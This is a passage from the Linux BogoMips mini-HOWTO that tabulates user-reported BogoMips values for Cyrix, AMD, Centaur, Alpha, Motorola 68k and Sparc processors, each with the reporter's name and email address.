   Cyrix 6x86/133 P166+    132.88  Craig Andersen <andersen@fastlane.net>
   Cyrix 6x86/133 P166+    133.73  C. Drews <drews_c@informatik.fh-hamburg.de>
   Cyrix 6x86/133 P166+    133.12  Daniel Gritter <dgritt47@calvin.edu>
   Cyrix 6x86/150 P200+    149.50  Evan L. Schemm <elschemm@mtu.edu>
   Cyrix 6x86/150 P200+    149.50  Steven Rainwater <srainwater@ncc.com>
   Cyrix 6x86/150 P200+    149.50  Mike <rapacity@ii.net>
   Cyrix 6x86/150 P200+    149.91  Sid Boyce <szb50@amdahl.com>
   Cyrix 6x86/150 P200+    149.91  Eric Haas <haas@andrew.cmu.edu>
   IBM 6x86/150 P200       149.96  M.D. Guardia <mikedg@ghostbbs.pandora.it>
   Cyrix 6x86MX/166 A-Step 16.89   F. Friedman-Romell <ak398@safr.org>
   Cyrix 6x86MX/166 A-Step 166.71  David Anderson <rovaughn@infoave.net>
   Cyrix 6x86MX/188 P233   186.78  Dominic Baines <rdab100@hermes.cam.ac.uk>
   Cyrix 6x86MX/188 P233   187.19  Dominic Baines <rdab100@hermes.cam.ac.uk>
   Cyrix 6x86/225          223.28  Dean Mills <deanmills@home.com>
   Cyrix 6x86MII/233 P300  233.47  Russell Marks <rus@forfree.at>
   Cyrix 6x86MII/233 P300  233.47  S. Fuller <stu@c49395-a.wodhvn1.mi.home.com>
   Cyrix 6x86MX/300 overcl 280     Terry Porter <tjporter@odyssey.apana.org.au>
*  Cyrix 6x86M/266         524.29  Juan Pablo <jpdborgna@yahoo.com.ar>

   AMD K5/75               149.91  Simon Karpen <slk@linux-shell.net>
   AMD K5/90               179.40  <root@krabi.mbp.ee>
   AMD K5/90               179.40  Ken Edwards <edwards@thor.xon.cuug.ab.ca>
   AMD K5/90               179.40  Marcin Owsiany <porridge@lo4.ids.bielsko.pl>
   AMD K5/90               179.81  Marcin Owsiany <porridge@lo4.ids.bielsko.pl>
   AMD K5/90               180.22  Hector DC Gonzalez <turbo@linux.lsl.com.mx>
   AMD K5/90               181.00  Drew Golden <golden@platinum.nb.net>
   AMD K5/100 PR133        198.66  Trond Solem <trond.solem@homemail.com>
   AMD K5/100 PR133        199.07  Henri Jamgotchian <hjamgot@planete.net>
   AMD K5/100 PR133        199.48  Dark Mind <root@dmh.ml.org>
   AMD K5/100 PR133        199.88  J. Grassel <grassel@heart.cas.und.nodak.edu>
   AMD K5/100 PR133        199.88  Berend Reitsma <berend@united-info.com>
   AMD K5/100 PR133        200.29  Tilman Sommer <sommer@vsun02.ag01.kodak.com>
   AMD K5/100 PR133        200.32  Carlo Politi <cpoliti@mare.gol.grosseto.it>
   AMD K5/100 PR133        199.07  Franco De Angelis <fda@ied.unipr.it>
   AMD K5/100 PR133        199.07  HaJo Simons <hajo@frodo.com>
   AMD K5/116 PR166        233.47  Hans-Joachim Baader <hans@grumber.ika.de>
   AMD K5/116 PR166        233.47  Sean Kelly <s.kelly@newcastle.ac.uk>
   AMD K5/120 PR133 overcl 239.21  Chris Harshman <harshman@paradigm.uor.edu>

   AMD K6-2/150 undercl    299.83  Alex Montaron <canal@multimania.com>
   AMD K6/166              332.60  David Parsons <orc@pell.chi.il.us>
   AMD K6/166              331     Bill Petersen <brp@cuberramp.net>
   AMD K6/200              398.13  Milton <nyceyes@nyceyes.com>
   AMD K6/200              398.85  n.n. <uh886@freenet.victoria.bc.ca>
   AMD K6/200              398.89  Ian Hanschen <hanschen@uwyo.edu>
   AMD K6/200              398.98  Philip Lijnzaad <lijnzaad@columba.ebi.ac.uk>
   AMD K6/200              399.77  Murtaza Amiji <murti@wpi.edu>
   AMD K6/200              399.78  Dan Hetzel <dan@icor.fr>
   AMD K6/200              400.58  Paco Culebras Amigo <paco@hades.udg.es>
   AMD K6/200              400.59  Sverre H. Huseby <s.h.huseby@usit.uio.no>
   AMD K6/200              400.59  Steve Conley <sconley@muck.leonine.com>
   AMD K6/200              400.59  Mark Lehrer <edge@dux.raex.com>
   AMD K6/200              400.59  Chris Esser <ksqueak@erols.com>
   AMD K6/200              400.59  Federico Pellegrin <fede@triangolo.it>
   AMD K6/200              400.59  Howard Poe <falcor@kingsnet.com>
   AMD K6/200              400.64  Fabrizio Santini <sanfff@tin.it>
   AMD K6/208 overcl       416.15  Jani Halme <jaadha@utu.fi>
   AMD K6/208 overcl       416.15  Donnie Savage <dsavage@cris.com>
   AMD K6/208              417.97  J.F. Ursetto <ursetto@uiuc.edu>
   AMD K6/225              440     n.n. <uh886@freenet.victoria.bc.ca>
   AMD K6/225 overcl       448.92  Paco Culebras Amigo <paco@hades.udg.es>
   AMD K6/225 undercl      448.92  Henrik Storner <storner@image.dk>
   AMD K6/225 overcl       450.56  M. Cramer <mccramer@stuttgart.netscape.de>
   AMD K6/233              463.67  Aduanne Carter <drow@blazenet.net>
   AMD K6/233              465.31  Michael Haardt <haardt@gmd.de>
   AMD K6/233              466.5   R. Garcia <rgarciaitt@aol.com>
   AMD K6/233 overcl       466.84  Francesco <root@fly.cnuce.cnr.it>
   AMD K6/233 overcl       466.94  Paco Culebras Amigo <paco@hades.udg.es>
   AMD K6/233              466.94  Howard Poe <hpoe@nyx.net>
   AMD K6/233              466.94  Andreas Haumer <andreas@xss.co.at>
   AMD K6/233              466.94  Damien Castelltort <eznerald@mail.mnet.fr>
   AMD K6/233              466.94  G. Cantallops Ramis <gcantallopsr@jet.se>
   AMD K6/233              466.94  Juergen Hammelmann <juergen@neptun.stgt.de>
   AMD K6/233              466.94  <cseyboldt@my-deja.com>
   AMD K6/233              466.94  Chris Gushue <seymour@iname.com>
   AMD K6/233              466.94  Maheswara <maheswara@freeuk.com>
   AMD K6/239              478.41  Torbjoern Kristoffersen <torbkris@online.no>
   AMD K6/239              478.41  Mark Neill <btech@styx.phy.vanderbilt.edu>
   AMD K6/239              478.41  Louis van Dompselaar <etaoin@xs4all.nl>
   AMD K6/266              532.48  Holly Sommer <sommer@mugs.net>
   AMD K6/266              534.12  Andreas Czerniak <cognac@toppoint.de>
   AMD K6-2/300            598.02  Pasa Guglielmo <gpasa@omedia.ch>
   AMD K6-2/300 3D overcl  598.02  Jozsef <formater@eunet.yu>
   AMD K6-2/300            599.65  Ivo Plana <ipv@tinet.fut.es>
   AMD K6-2/300            599.65  Juan Domenech <domenech@mail.seric.es>
   AMD K6-2/300            599.65  Scrambo <pinche@my-deja.com>
   AMD K6-2/300            599.65  Ashley Penney <ashp@bastard.co.uk>
   AMD K6-2/300            599.65  Rob <im@home.com>
   AMD K6-2/300            599.65  Stephen Jenuth <jenuths@homacjen.ab.ca>
   AMD K6-2/308            614.40  Erv Walter <walter@chem.wisc.edu>
   AMD K6-2/333            663.55  <kuhn@ernie.lpr.e-technik.tu-muenchen.de>
   AMD K6-2/333            663.55  Sebastian <sebastian882@my-deja.com>
   AMD K6-2/333            665.19  A. Bihlmaier <stormtank@gmx.net>
   AMD K6-2/338 overcl     675.02  Nicola Fabiano <mx8644@mclink.it>
   AMD K6-2/350            699.60  Juan Domenech <domenech@mail.seric.es>
   AMD K6-2/350 3D         699.60  Mirko Schur <mschur@t-online.de>
   AMD K6-2/350            699.60  Craig <craig@pop.uky.edu>
   AMD K6-2/350 3D         699.60  D. Breuer <dirk.breuer@post.rwth-aachen.de>
   AMD K6-III/360          717.62  <holdar@krell.com>
   AMD K6-2/366            732.36  Risto A. Paju <rp241@cam.ac.uk>
   AMD K6-2/366            734.00  Alex Montaron <canal@multimania.com>
   AMD K6-2/366 3D overcl  734.00  Enrico Oreglia <oreglia@ibm.net>
   AMD K6-2/400 3D         796.26  Rodney <nycjedi@my-deja.com>
   AMD K6-2/400 overcl     799.54  Ivo Plana <ipv@tinet.fut.es>
   AMD K6-2/400 overcl     799.54  Alex Montaron <canal@multimania.com>
   AMD K6-2/400 3D         799.54  Rajko Wehrhahn <seymour@link-c.cl.sub.de>
   AMD K6-2/400            799.54  Silvio Nordio <nordio@unive.it>
   AMD K6-2/400            799.54  Chris <cpr@intergate.bc.ca>
   AMD K6-2/400 3D         799.54  Hamid Misnan <hamidmisnan@ieee.org>
   AMD K6-2/400 3D         799.54  James Birchfield <jsbirch@home.com>
   AMD K6-2/400            799.54  Matt Graham <mhgraham@fleabag.nullhouse.org>
   AMD K6-2/400 3D         799.54  John Pate <johnny@dvc.org.uk>
   AMD K6-2/400 overcl     801.18  Phillip Deackes <gsmh@gmx.net>
   AMD K6-2/400 overcl     801.18  Jon Riekenberg <jrr8208@ksu.edu>
   AMD K6-2/400 overcl     801.18  Ryan Bethke <immortal26@prodigy.net>
   AMD K6-2/400            801.18  Wolfgang Zekoll <wzk@um1.pce.de>
   AMD K6-2/400            801.18  Ignacio Valdes <ivaldes@csi.com>
   AMD K6-2/400            801.18  Ted E. Suter <nexion@home.com>
   AMD K6-2/400            801.18  Warren B. Hapke <wbhapke@prairienet.org>
   AMD K6-2/400            801.29  Birko Bergt <birko.bergt@cdc.com>
   AMD K6-2/400 overcl     801.5   Juan Domenech <domenech@tarraco.seric.es>
   AMD K6-2/400            808.7   Bob <rebry@@atomicsys.com>
   AMD K6-III/417 overcl   833.95  Chris Priest <chris@idol.demon.co.uk>
   AMD K6-2/440            878.18  Steve Bourland <sbourlan@ecn.purdue.edu>
   AMD K6-III/450          897.84  Craig <craig@pop.uky.edu>
   AMD K6-III/450          897.84  John Pate <johnny@dvc.org.uk>
   AMD K6/450 3D           897.84  Igor Chudov <ichudov@algebra.com>
   AMD K6-2/450 overcl     901.12  Ted E. Suter <nexion@home.com>
   AMD K6-2/450 overcl     901.12  Juan Domenech <domenech@tarraco.seric.es>
   AMD K6-2/450            901.12  John Jaeger <john@jjgb.com>
   AMD K6-2/450            901.12  Piet Ekkebus <piet_e@zeelandnet.nl>
   AMD K6-2/450            902.30  Birko Bergt <birko.bergt@cdc.com>
   AMD K6-III/455 overcl   907.67  Phil Stracchino <alaric@babcom.com>
   AMD K6-2/455 3D overcl  914.23  Graham Reed <grwr@ssm.ca>
   AMD K6-2/475 laptop     943.72  Chris Matthews <chris@masc.ca>
   AMD K6-2/475 overcl     950.27  Willow <el-baul@ole.com>
   AMD K6-2/475            950.27  Craig <craig@pop.uky.edu>
   AMD K6/500 3D           996.14  Matt <mwr4722@fox.tamu.edu>
   AMD K6/500 3D           996.14  Jens Reimann <frankreimann@t-online.de>
   AMD K6-2/500            999.42  Jon Berlin <jberlin@worldbank.org>
   AMD K6-2/500 3D         999.42  Laurent <blackm@pop.multimania.com>
   AMD K6-2/500            999.42  Robert <robert@mrcomputers.net>
   AMD K6-2/500            999.42  Craig <craig@pop.uky.edu>
   AMD K6-2/500            999.42  John Pate <johnny@dvc.org.uk>
   AMD K6-2/500 3D         999.42  infoman <register_reg@yahoo.com>
   AMD K6-2/550 3D        1101.00  Jon Berlin <jberlin@worldbank.org>
   AMD K6-2/550           1101.00  James Yang <jamesy@no-email>
   AMD K6-2 550           1101.00  Hugh Wilson <hugh.e.wilson@gm.com>

   AMD Duron/600          1205.86  Chad Daelhousen <loonxtall@hotmail.com>
   AMD Duron/650          1294.34  Levi Ramsey <lramsey@student.umass.edu>
   AMD Duron/700          1395.92  N. Fabiano <nicola.fabiano@pg.infn.it>
   AMD Duron/700          1395.92  Dennis van Dok <dvandok@quicknet.nl>
   AMD Duron/700          1395.92  A. Aksiucik <a.aksiucik@elka.pw.edu.pl>
   AMD Duron/700          1399.19  Stuart Trusty <stuart@linuxlabs.com>
   AMD Duron/700          1399.19  Krzysztof Nikiel <knik@priv.onet.pl>
   AMD Duron/740          1477.83  Corey <corey@eyetap.org>
   AMD Duron/750          1500.77  Anson Ringenoldus <ansonr@mac.com>
   AMD Duron/800          1595.80  Papp Tamas <tompos@ns.martos.bme.hu>
   AMD Duron/900          1795.69  Yves Bellefeuille <yan@storm.ca>
   AMD Duron/900          1789.13  Ye Myint <ymyint@indiana.edu>

   AMD K7/500              498.07  Ludwig <cludwig@informatik.uni-tuebingen.de>
   AMD K7/550              548.86  Kieffer <Jerome.KIEFFER@crans.ens-cachan.fr>
   AMD Athlon/600          598.02  C. Heiming <heiming@informatik.uni-kl.de>
   AMD Athlon/600          598.02  Ted Michael <obliv10n@netscape.net>
   AMD Athlon/600          602.93  Chris Wren <wChris@ubginc.com>
   AMD K7/655              652.08  Mark Steele <msteele@belent.com>
   AMD Athlon/750          747.11  A Galinovic <andro.galinovic@public.srce.hr>
   AMD K7/750              748.75  Manuel Moran Vaquero <mmv@geocities.com>
   AMD Athlon/755          752.03  Mark Steele <msteele@belent.com>
*  AMD Athlon/500          996.51  Taco IJsselmuiden <taco@wep.tudelft.nl>
*  AMD K7/700             1196.03  N. Dimpfl <norbert.dimpfl@primusnetz.de>
*  AMD Athlon/600         1198.04  Carsten <heiming@informatik.uni-kl.de>
*  AMD Athlon/600         1205.86  Stefan Schroepfer <scr@iis.fhg.de>
*  AMD Athlon/630         1258.29  Nanagiotis Papadakos <papadako@csd.uoc.gr>
*  AMD K7/650             1294.34  Robbe Bihlmeyer <robbe@orcus.priv.at>
*  AMD K7/650             1294.33  Mitch Keller <mitch_keller@my-deja.com>
*  AMD K7/650             1297.61  Travis Brown <tfb999@yahoo.com>
*  AMD Athlon/700         1387.51  Bradley Lawrence <cecil@niagara.com>
*  AMD Athlon/700         1395.92  Joop Stakenborg <aba@casema.net>
*  AMD Athlon/700         1395.92  Martin Kamin <kamin@atlas.cz>
*  AMD Athlon/700         1405.74  ofrm <owain@ofrm.demon.co.uk>
*  AMD Athlon/700         1412.30  Ulf Bartelt <ult@twc.de>
*  AMD Athlon/750         1494.22  A Galinovic <thehack@fly.srk.fer.hr>
*  AMD K7/750             1500.30  W Canaday <rgabill@ameritech.net>
*  AMD Athlon/750         1510.60  Ilya Sterin <isterin@ford.com>
*  AMD Athlon/800         1595.80  M Greil <markus.greil@pl.gcd-erlangen.de>
*  AMD Athlon/800         1599.08  ne <akabi@home.com>
*  AMD Athlon/800         1599.08  James NJ <jnj@pobox.com>
*  AMD Athlon/800         1605.63  Robert A. Morris <ramorris@yifan.net>
*  AMD Athlon/800         1608.91  M Greil <markus.greil@pl.gcd-erlangen.de>
*  AMD Athlon/850         1710.48  Ricardo N. Sanchez <rnsanchez@conex.com.br>
*  AMD Athlon/900         1795.69  <rpseguin@my-deja.com>
*  AMD Athlon/900         1795.69  Yves Bellefeuille <yan@storm.ca>
*  AMD Athlon/1000        1992.29  Wayne Stallwood <wayne@creaturelabs.com>
*  AMD Athlon/1000        1992.29  David Haerdeman <david@2gen.com>
*  AMD Athlon/1000        1992.29  NN <rakim@altavista.net>
*  AMD Athlon/1000        1992.29  Thomas Koester <rufus@uos.de>
*  AMD Athlon/1000        1992.29  Robert E. Blair <reblair@attbi.com>
*  AMD Athlon/1000        1998.85  Pete Ritter <cpritter@home.com>
*  AMD Athlon/1000        2011.96  RJ Bergeron <rjber1@geocities.com>
*  AMD Athlon/1100        2182.35  Stuart Trusty <stuart@linuxlabs.com>
*  AMD Athlon/1200        2392.96  Andy Wiggin <awiggin@alpinemicro.com>
*  AMD Athlon/1200        2392.06  Thomas Koester <rufus@uos.de>
*  AMD Athlon/1300        2588.67  Stuart Trusty <stuart@linuxlabs.com>
*  AMD Athlon/1330        2647.65  Gergo Barany <gergo@tud.at>
*  AMD Athlon/1330        2660.76  Thomas Koester <rufus@uos.de>
*  AMD Athlon/1330        2660.76  Bill Rhodes <wrhodes@27.org>
*  AMD Athlon/1330        2667.31  Christian Leder <wilhelm@gate.ledionline.de>
*  AMD Athlon/1400        2785.28  M. Greil <markus.greil@pl.gcd-erlangen.de>
*  AMD Athlon/1400        2798.38  R.J. Bergeron <rjber1@geocities.com>
*  AMD Athlon/1400        2791.83  Thomas Koester <rufus@uos.de>
*  AMD Athlon/1400        2805.78  Christian Leder <wilhelm@gate.ledionline.de>
*  AMD Athlon/1533        3047.42  Tommy Tonteri <tommy.tonteri@aktia.fi>
*  AMD Athlon/1533        3080.19  Martin Kunz <kunzmartin@gmx.ch>
*  AMD Athlon/1600        3191.60  Dag Viggo Lokøe <dagvl@kvarteret.org>
*  AMD Athlon XP/1600     3191.60  Robert Munro <ramunro1@ix.netcom.com>

   Centaur C6/200           79.46  James Rotenberry <rotenber@jmr.lasx.com>
   Centaur C6-2/233        154.83  Joe Noble <noble@flashman.com>
   Centaur C6-2/200        397.31  James Yang <jamesy@noemail>
   Centaur C6-2/200        398.13  Paolo Cravero <cravero@athena.polito.it>

   Centaur VIA III/700    1399.19  Rudy Ketterer <ideur@yahoo.com>

3.10 Alpha systems

   System             BogoMips  Reporter
   21064/150 Jensen        146.80  Jon Davidsson <e98jd@efd.lth.se>
   21064/150 Jensen        147.85  Stefano <terraneo@my-deja.com>
   21064/150 Jensen        148.37  Linus Torvalds <torvalds@cc.helsinki.fi>
   21064/150 Jensen        149.49  J.L. Brothers <brothers@halcyon.com>
   21064/150 Jensen        148.89  Martin Osterman <ost@comnets.rwth-aachen.de>

   21064A/233 AS225 Avanti 228.58  Roberto Giungato <r.giungato@computer.org>
   21064A/233 Avanti       230.16  Rich Griswold <rgriswold@us.ibm.com>
   21064A/275 Cabriolet    271.58  Michal Jaegermann <michal@phys.ualberta.ca>
   21064A/275 Cabriolet    272     Linus Torvalds <torvalds@cc.helsinki.fi>
   21064A/275              272     Stephen Gaudet <sjg@tiac.net>
   21064A/275 Cabriolet    272.63  Jay Estabrook <jestabro@amt.tay1.dec.com>
   21064A/275 Cabriolet    273.37  David Mosberger-Tang <davidm@cs.arizona.edu>
   21064A/275              274.11  Kevin Jacobs <jacobs@eek.cwru.edu>
   21064A/300 Cabriolet    298     Jay Estabrook <jestabro@amt.tay1.dec.com>
   21064A/300              298     Stephen Gaudet <sjg@tiac.net>

   21066/166 Noname        162.52  Paavo Hartikain <pahartik@sci.fi>
   21066/166               162.53  Phil Bostley <pbostley@qualcomm.com>
   21066/166               163.05  Matthew Jacob <mjacob@feral.com>
   21066/166               163.05  Jon Spreha <jxs557@psu.edu>
   21066/166               164.59  David Mosberger-Tang <davidm@cs.arizona.edu>
   21066/166 Multia        164.63  Rudolf Gabler <rug@usm.uni-muenchen.de>
   21066/166               165     Gareth Bult <gareth@ftech.net>
   21066/166               165.04  Craig Ruff <cruff@ncar.ucar.edu>
   21066/200               196.9   Danny ter Haar <danny@cistron.nl>
   21066/200 UDB overcl    198     Kari Davidsson <d154402@cs.tut.fi>

   21066A/233 UDB          229.63  Toon van der Pas <toon@vdpas.hobby.nl>
   21066A/233 AS400        230.16  Ophir Ronen <ophir@connectsoft.com>
   21066A/233 AS200 Avanti 230.16  B. James Phillippe <bryan@terran.org>
   21066A/233 NoName       230.67  T. Bogendoerfer <tsbogend@bigbug.franken.de>
   21066A/233 UDB          230.68  Ted Schipper <ted@tedux.hobby.nl>
   21066A/233 NoName       230.76  Mikael Nykvist <viper@ludd.luth.se>
   21066A/233 UDB          231.21  Eric Smith <eric@goonsquad.spies.com>
   21066A/233 NoName       231.21  Jay Estabrook <jestabro@amt.tay1.dec.com>
   21066A/266 NoName ov.cl 261.62  Andreas Johansson <ajo@ludd.luth.se>
   21066A/266 UDB overcl   261.62  Michael Brennen <mbrennen@fni.net>
   21066A/266 NoName ov.cl 262.14  Wim van Dorst <baron@clifton.hobby.nl>
   21066A/266 Multia       264     Joshua Grubman <joshg@dn.net>
   21066A/284 NoName ov.cl 281.0   <imakino@gloria.cord.edu>
   21066A/297 NoName ov.cl 293.6   <imakino@gloria.cord.edu>
   21066A/300 UDB ov.cl    294.65  Topi Kanerva <tkanerva@nks.oulu.fi>

   21164/266 EB164         265.29  Jay Estabrook <jestabro@amt.tay1.dec.com>
   21164/300 EB164         297.79  Hilarius <maurice@ellpspace.math.ualberta.ca>
   21164/300 XLT Alcor     297.79  Dave Wreski <dave@nic.com>
   21164/300 AS1000        297.79  Salvador Pinto Abreu <spa@sc.uevora.pt>
   21164/333 Alcor         331.35  Linus Torvalds <torvalds@cs.helsinki.fi>
   21164/333 Alcor         331.35  David Mosberger-Tang <davidm@azstarnet.com>
   21164/366 XLT Alcor     362.80  Paul Slootman <paul@wurtel.demon.nl>
   21164/366 PC164 Durango 363.85  Geerten Kuiper <geerten@bart.nl>
   21164/400 Noritake      397.41  Alan Fay <alanfay@webcode.co.uk>
   21164/433 PC164         429.89  Paul D. Robertson <proberts@clark.net>
   21164/433 PC164         429.91  Bernd Meyer <bmeyer@cs.monash.edu.au>
   21164/433 Maita         429.91  Bill Broadley <bill@math.ucdavis.edu>
   21164/433 PC164         430.96  <rainer.landes@physik.uni-karlsruhe.de>
   21164/433 EB164         430.96  <Metod.Kozelj@rzs-hm.si>
   21164/433 PC164         430.96  H. Sumargo <habibie@robotic.eng.fiu.edu>
   21164/433 PC164         431.94  Timm Gleason <timm@bess.com>
   21164/466 PC164         464.51  Daryll Strauss <daryll@d2.com>
   21164/500               497     Alex Butcher <alex@asimov.annex.co.uk>
   21164/500 PC164         497.02  C.J. Grayce <cgrayce@wasatch.ps.uci.edu>
   21164/500               497.05  Heiner Kruener <hk@martian.ping.de>
   21164/250 Sable         497.02  Tom Greene <cowgod@idt.net>
   21164/500               497.02  James D. Freels <freelsjd@ornl.gov>
   21164/500 AS500         497.03  Jim Nance <jlnance@avanticorp.com>
   21164/500 P7            497.03  Jan guldentops <jacko@ba.be>
   21164/500 EB164 Durango 497.43  Kevin Jacobs <jacobs@eek.cwru.edu>

   21164A/500  PWS         497.02  Robert Harley <robert.harley@inria.fr>
   21164A/500  PC164       497.02  Stephen Oberski <sfo@deterministic.com>
   21164A/533  PC164LX     529.53  Dumb Kid <dumbkid@hotmail.com>
   21164A/533  PC164LX     529.53  Harvey J. Stein <hjstein@bfr.co.il>
   21164PC/533 PC164SX     529.53  Danny ter Haar <dth@cistron.nl>
   21164PC/533 PC164SX     529.53  Shane Sturrock <sss@holyrood.ed.ac.uk>
   21164PC/533 PC164SX     529.53  Wim van Dorst <baron@clifton.hobby.nl>
   21164A/533  Ruffian     530.57  Andreas Czerniak <cognac@toppoint.de>
   21164A/533  PC164LX     530.57  Ronny Ranerup <ronny@axis.com>
   21164A/533  PC164LX     530.57  Bill Broadley <bill@math.ucdavis.edu>
   21164A/533  PC164LX     530.58  Stefan Boresch <stefan@loop.mdy.univie.ac.at>
   21164A/600  PC164LX     595.59  L.F. Donaldson <donaldlf@cs.rose-hulman.edu>
   21164A/600  PC164LX     595.59  <stepan@wesley.informatik.uni-freiburg.de>
   21164A/600  PC164       597.60  Fabrizio Santini <sanfff@tin.it>
   21164A/666  PC164LX     662.70  <stepan@wesley.informatik.uni-freiburg.de>
   21164A/666  PC164LX     662.70  Stephen S <smart73@earthlink.net>

   21264/400 Pass-1        794.82  Jay Estabrook <jay.estabrook@digital.com>
   21264/466 DS10          920.64  Paul Novarese <novarese@alf.dec.com>
   21264/500 XP1000        996.00  Wes Bauske <wsb@paralleldata.com>
   21264/500               996.00  Karl <hawk@juno.com>
   21264/500               996.14  Lionel Tricon <lionel.tricon@digital.com>
   21264/500 DS20          996.14  Paul Novarese <novarese@alf.dec.com>
   21264/500 DS20          996.15  Wayne Hall <wayne@uga.edu>
   21264/500 XP1000        996.40  P. Caulfield <patrick@balti.london.sco.com>
   21264/600              1203.76  Darrick Wong <djwong@thibs.menloschool.org>
   21264/667 XP1000       1329.59  Lionel Tricon <Lionel.Tricon@compaq.com>
   21264DP/666 Tsunami    1329.59  Jens Hoefkens <hoefkens@msu.edu>
   21264/730 Wildfire     1488.97  Lionel Tricon <Lionel.Tricon@compaq.com>
   21264DP/833 Tsunami    1661.52  Andy Schofield <ajs@th.ph.bham.ac.uk>

3.11 Motorola systems

   System                BogoMips  Reporter
   68030/14.7 LCII nofpu     3.69  Ruda Moura <ruda@conectiva.com.br>
   68030/16 Atari Falcon     3.90  Jay T. Millar <jmillar@eaglequest.com>
   68030/16 Atari Falcon     3.90  Bruno Aubin <baubin@lemel.fr>
   68030/16 Atari Falcon     3.95  J.L. Brothers <brothers@halcyon.com>
   68030/16 Atari Falcon     3.98  <Roman.Hodek@informatik.uni-erlangen.de>
   68EC030/20 Cisco 2500     4.33  <koen.devleeschauwer@lid.kviv.be>
   68030/20 MacII Si         4.88  Bill Maloy <maloy@goldinc.com>
   68030/20 0c               4.92  Chris Nadigh <chrnadig@iiic.ethz.ch>
   68030    Amiga 3000       6.08  Andy Wick <awick@vt.edu>
   68030/30 Amiga 4000       6.09  Karsten Merker <km@golf.dinet.com>
   68030/25 Amiga 3000       6.12  Glen Hewlett <hewlett@planeteer.com>
   68030/25 Amiga 3000       6.21  Hamish Macdonald <hamish@bnr.ca>
   68030/25 Amiga 3000       6.21  J.L. Brothers <brothers@halcyon.com>
   68030/32 Atari Falcon     7.91  Franz Korntner <fkorntne@bazis.nl>
   68030    Atari TT         7.96  <schwab@issan.informatik.uni-dortmund.de>
   68030/32 Atari MegaST     7.98  E.J. van den Bussche <busscheh@ksepl.nl>
   68030/33 Atari TT         7.98  <Roman.Hodek@informatik.uni-erlangen.de>
   68030    Atari TT         7.98  Wayne Booth <trek@ihgp114r.ih.att.com>
   68030/60                  8.06  Korey Budgen <kbudgen@st.nepean.uws.edu.au>
   68030/33 Amiga 2000       8.14  W. Haidinger <e9225662@stud1.tuwien.ac.at>
   68EC030/40 Cisco 4000     8.75  <koen.devleeschauwer@lid.kviv.be>
   68030/40 MacIIfx          9.90  Ray Knight <audilvr@speakeasy.org>
   68030/48 32c             11.89  Martin Rogge <Martin_Rogge@ki.maus.de>
   68030/50 Atari           12     <Roman.Hodek@informatik.uni-erlangen.de>
   68030/50 Amiga 1200      12.36  Chris Sumner <chris@ganymede.sonnet.co.uk>
   68030/50 Amiga 1200      12.4   Richard Jerome <etlrdje@tigger.ericsson.se>
   68030/50 32c             12.42  Michael Plonus <michi@pluto.ping.de>
   68030/50 Amiga 1200      12.33  Detrix <detrix@popd.ix.netcom.com>
   68030/50 Amiga 1200      12.36  E.J.M. Brocklesby <ejb@klamath.demon.co.uk>

   68040 Mac Centris        13.21  <pgrb-usenet@ygdrasil.demon.co.uk>
   68040/24 Mac LC475       16.38  Ray Knight <audilvr@speakeasy.org>
   68040/24 Amiga 4000      16.59  Bjarne Wichmann Petersen <mekanix@nospam.dk>
   68040/24 Amiga 4000-40   16.6   Hamish Macdonald <hamish@bnr.ca>
   68040/24 Amiga 4000-20   16.60  J.L. Brothers <brothers@halcyon.com>
   68040/25 Amiga 4000-040  16.61  <Geert.Uytterhoeven@cs.ku-leuven.ac.be>
   68040/25 Amiga 4000      16.61  Lawrence <lawrenc@nextwork.rose-hulmand.edu>
   68040/60 Amiga 4000-40   18.99  Darren Enns <dmenns@surf.pangea.ca>
   68040/28 Mac Quadra650   18.99  Warren James <wjames1@my-deja.com>
   68040/32 Medusa T40      21.25  <Hartmut.Koptein@et-inf.fho-emden.de>
   68040    Amiga 2000      21.86  Ron Flory <rjflory@feist.com>
   68040    Mac Quadra650   22     Henry Garcia <compdata@nb.net>
   68040/33 Mac Quadra950   22.11  Ray Knight <audilvr@speakeasy.org>
   68040/33 Mac Quadra650   22.11  Schmitz <schmitz@biophys.uni-duesseldorg.de>
   68040    Mac Quadra650   22.17  Ingvar Hagelund <ingvar@unik.no>
   68040/40 Amiga 1200      26.52  Gavin Kinsey <gavin@kinsey.u-net.com>

   68060/50 Amiga 2000      98.68  Frank Mainz <cybermainzel@gmx.de>
   68060/50 Amiga 1200      99.53  baba <baba@pa.yokogawa.jp>
   68060/50 Amiga 4000      99.74  Stefan Tauche <otauche@uni-paderborn.de>
   68060/50 Amiga 4000     100.16  Jan Johansson <jj@mordor.it.kth.se>
   68060/66 Amiga CS MkII  132.71  Paul Hill <paul@lagernet.clara.co.uk>

3.12 Sparc systems

   System                BogoMips  Reporter
   Sparc sun4c              17.94  J.L. Brothers <brothers@halcyon.com>
   Sparc SLC/20 S1          19.86  Simon Karpen <slk@linux-shell.net>
   Sparc sun4c/25           24.88  Paolo <paolo0@yahoo.com>
   Sparc SS10 sun4m         35.94  Michael Junek <mickey@webfocus.net.au>
   Sparc IPX 4c             39.83  Paul D. Robertson <proberts@clark.net>
   Sparc SS10 super50 4m    39.93  Juan Cespedes <cespedes@etsit.upm.es>
   Sparc microS/50 SS-LX    49.76  Will Shaw <romulan@netwatch.clemson.edu>
   Sparc SS20/50            49.86  Gary A. Donahue <lordgad@webspan.net>
   Sparc hyperS Classic 4m  49.86  Juan Cespedes <cespedes@etsit.upm.es>
   Sparc Voyager portable   59.80  Edward Austin <eastin@shl.com>
   Sparc SS5 Netra          68     Craig Falconer <cf@papanui.school.nz>
   Sparc SS5                69.84  Richard D. Davis <rddavis1@lucent.com>
   Sparc SS50               74.95  Kaz <kaz@latte.cafe.net>
   Sparc SS10 hyperS        99.73  Thomas B. Fox <tfox@oliverdesign.com>
   Sparc SS5/66            109.77  Lance S. Nehring <lnehrin@uswest.com>
   Sparc SS4/110           109.77  Chris Sylvain <csylvain@umms-itg.ab.umd.edu>
   Sparc hSparc sum4m      124.92  Georg Schwarz <schwarz@physik.tu-berlin.de>
   Sparc hSparc/150 Sun4m  150.32  Tethys <tethys@ml.com>

   Sparc Ultra I/143       278.00  Helmut <helmut@cancon.com>
   Sparc Ultra I sun4u     284.05  Iban Cardona <icc@seric.es>
   Sparc Ultra I/143       285.08  Jason Hong <hong@csulb.edu>
   Sparc Ultra I sun4u     333.41  Roberto Giungato <r.giungato@computer.org>

   Sparc Ultra II/270      539.03  Pieter Krul <pieter@dare.demon.nl>
   Sparc Ultra II/300      598.01  Silvo Bozovicar <silvo.bozovicar@aster.si>
   Sparc Ultra II/360      719.26  Bjoern Augustsson <d3august@dtek.chalmers.se>
   Sparc Ultra II/450      897.84  Darrick Wong <djwong@thibs.menloschool.org>

3.13 PowerPC systems
